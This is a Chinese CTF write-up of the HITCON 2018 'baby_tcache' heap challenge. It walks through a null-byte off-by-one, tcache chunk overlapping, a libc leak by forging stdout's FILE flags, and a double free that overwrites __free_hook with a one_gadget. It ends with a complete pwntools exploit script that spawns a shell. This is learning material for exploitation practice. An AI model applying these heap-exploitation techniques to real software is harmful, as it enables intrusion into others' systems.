这道题和前一道children_tcache是同一个系列,然而这题难多了_(:зゝ∠)_。在网上搜了一大圈,貌似只有英文的wp,只有硬着头皮肝了。。。这题和children那题唯一的不同就是这题没有现成的输出功能,泄露变得十分困难,还好前段时间也学过了house of orange,不然wp都看不懂。。
题目描述 题目来源:HITCON CTF 2018 知识点:tcache && overlapping && off_by_one && IO_FILE 题目界面:
1 2 3 4 5 6 7 8 $$$$$$$$$$$$$$$$$$$$$$$$$$$ 🍊 Baby Tcache 🍊 $$$$$$$$$$$$$$$$$$$$$$$$$$$ $ 1. New heap $ $ 2. Delete heap $ $ 3. Exit $ $$$$$$$$$$$$$$$$$$$$$$$$$$$ Your choice:
保护全开:
1 2 3 4 5 6 Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
漏洞情况 和children_tcache的漏洞点是完全一样的,都是null byte off_by_one ,这里就不再分析了。
利用过程 overlapping 和children_tcache几乎相同的操作,通过last_remainder来绕过检查,然后overlapping。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 add_7_times(0x80 ) del_7_times(0 , 7 ) add_7_times(0x120 ) del_7_times(0 , 7 ) add_7_times(0x200 ) add(0x208 , 'A' ) add(0x200 , 'B' ) add(0x200 , 'C' ) del_7_times(0 , 7 ) dele(8 ) dele(7 ) add(0x108 , 'A' *0x108 ) add_7_times(0x80 ) add(0x80 , 'b1' ) del_7_times(1 , 8 ) add(0x210 , 'b2' ) dele(8 ) dele(9 )
泄露libc 这里使用IO_FILE来进行泄露,先来看看前提知识。 在puts
函数内部实现中,先调用_IO_new_file_overflow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int _IO_new_file_overflow (_IO_FILE *f, int ch) { if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL ) { : : } if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base);
在这个函数中,正常的输出流程需要调用_IO_do_write
,所以f->_flags & _IO_NO_WRITES
应该为0,f->_flags & _IO_CURRENTLY_PUTTING
不能为0。
然后_IO_do_write
会以相同的参数调用new_do_write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do) { _IO_size_t count; if (fp->_flags & _IO_IS_APPENDING) fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1 ); if (new_pos == _IO_pos_BAD) return 0 ; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); : :
我们的目标就是最后的_IO_SYSWRITE(fp, data, to_do)
。从_IO_do_write
的实参可知,fp
就是FILE指针,data
就是f->_IO_write_base
,to_do
则是f->_IO_write_ptr - f->_IO_write_base(数据长度)
。 因为else if
中的条件构造起来十分困难,所以这里让程序流程通过if
中的条件,即fp->_flags & _IO_IS_APPENDING
综上,需要满足的条件有
1 2 3 4 5 6 7 8 #define _IO_NO_WRITES 0x0008 #define _IO_CURRENTLY_PUTTING 0x0800 #define _IO_IS_APPENDING 0x1000 _flags = 0xfbad0000 _flags & = ~_IO_NO_WRITES _flags | = _IO_CURRENTLY_PUTTING _flags | = _IO_IS_APPENDING
即flags应该为0xfbad1800
所以,如果可以控制stdout的FILE结构体,将stdout->_flags
设置为我们计算出的值并将stdout->_IO_write_base
的最低位字节改小一点,这样就能输出内存中的一段数据,而这段数据中通常就会存在libc中的某个地址。
因为只要能够修改tcache中chunk的fd指针,就能在任意地址分配chunk。在前面的overlapping中,我们已经满足了这个条件,只需要改写chunk_b2
的fd指针到_IO_2_1_stdout_(stdout的FILE结构体)
,然后就可以在此处分配一个chunk并改写其中的值了。
因为_IO_2_1_stdout_
的地址和在unsortedbin中chunk的fd指针的值只有最后3个16进制位不同,所以我们需要先在chunk_b2
处通过overlapping申请并释放一个smallchunk来获取fd指针 然后再重新在这分配一个chunk,通过partial overwrite
修改最低两个字节,因为有半个字节无法确定,所以先随意确定一个值,通过多次运行使内存中真实值与我们确定的值发生碰撞。
这里我将stdout->_IO_write_base
最低位字节设置为\x08
,因为刚好从该地址开始的8个字节为libc中的一个地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 dele(1 ) add_7_times(0x80 ) add(0x80 , 'b1' ) del_7_times(1 , 8 ) add_7_times(0x120 ) add(0x120 , 'xxxx' ) del_7_times(1 , 8 ) add(0x1000 , 'xxxx' ) dele(9 ) add(0x50 , '\x60\xa7' ) add(0x210 , 'xxxx' ) payload = p64(0xfbad1800 )+p64(0 )*3 +"\x08" add(0x210 , payload) libc_base = u64(p.recvline()[:8 ]) - 0x3ED8B0 print "libc_base : %#x" % libc_basefree_hook = libc_base + libc.symbols['__free_hook' ] one_gadget = libc_base + 0x4f322
getshell 在泄露出libc的地址后,接下来的事情就简单多了。因为在上面代码中,索引为2和3的chunk实际都为chunk_b2,所以可以通过tcache中的double free来再次修改fd值,实现在__free_hook
处分配chunk,并写入one_gadget。
1 2 3 4 5 6 7 dele(3 ) dele(2 ) add(0x50 , p64(free_hook)) add(0x50 , 'xxxx' ) add(0x50 , p64(one_gadget)) dele(0 )
我的EXP 本地环境: Ubuntu 18.04.1 LTS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] p=process('./baby_tcache' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (size, content) : p.recvuntil('Your choice: ' ) p.sendline('1' ) p.recvuntil('Size:' ) p.sendline(str(size)) p.recvuntil('Data:' ) p.send(content) def dele (index) : p.recvuntil('Your choice: ' ) p.sendline('2' ) p.recvuntil('Index:' ) p.sendline(str(index)) def add_7_times (size) : for _ in range(7 ): add(size, 'xxxx' ) def del_7_times (begin, end) : for i in range(begin, end): dele(i) def main () : add_7_times(0x80 ) del_7_times(0 , 7 ) add_7_times(0x120 ) del_7_times(0 , 7 ) add_7_times(0x200 ) add(0x208 , 'A' ) add(0x200 , 'B' ) add(0x200 , 'C' ) del_7_times(0 , 7 ) dele(8 ) dele(7 ) add(0x108 , 'A' *0x108 ) add_7_times(0x80 ) add(0x80 , 'b1' ) del_7_times(1 , 8 ) add(0x210 , 'b2' ) dele(8 ) dele(9 ) dele(1 ) add_7_times(0x80 ) add(0x80 , 'b1' ) del_7_times(1 , 8 ) add_7_times(0x120 ) add(0x120 , 'xxxx' ) del_7_times(1 , 8 ) add(0x1000 , 'xxxx' ) dele(9 ) add(0x50 , '\x60\xa7' ) add(0x210 , 'xxxx' ) payload = p64(0xfbad1800 )+p64(0 )*3 +"\x08" add(0x210 , payload) libc_base = u64(p.recvline()[:8 ]) - 0x3ED8B0 print "libc_base : %#x" % libc_base free_hook = libc_base + libc.symbols['__free_hook' ] one_gadget = libc_base + 0x4f322 dele(3 ) dele(2 ) add(0x50 , p64(free_hook)) add(0x50 , 'xxxx' ) add(0x50 , p64(one_gadget)) dele(0 ) if __name__ == '__main__' : while (True ): try : main() p.interactive() p.close() break except : p.close() p = process('./baby_tcache' )
相关链接 二进制文件:baby_tcache writeup参考:https://vigneshsrao.github.io/babytcache/ https://znqt.github.io/hitcon2018-babytcache/